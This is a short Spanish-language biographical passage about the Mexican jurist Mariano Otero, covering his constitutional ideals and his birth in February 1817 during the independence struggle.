constituci\u00f3n nacional. All\u00ed pudo plasmar su visi\u00f3n sobre el M\u00e9xico de entonces y el que ve\u00eda para el futuro: federalismo, igualdad, fin de los privilegios, unidad y soluci\u00f3n pac\u00edfica de los conflictos internos. En medio de una Nueva Espa\u00f1a que volv\u00eda a inquietarse en 1817 por el movimiento de independencia con la presencia del liberal espa\u00f1ol Xavier Mina y del insurgente Jos\u00e9 Antonio Torres, naci\u00f3 Mariano Otero el 4 de febrero, d\u00eda en el que se celebraba la fiesta de San Andr\u00e9s Corsino y San Gilberto Confesor. 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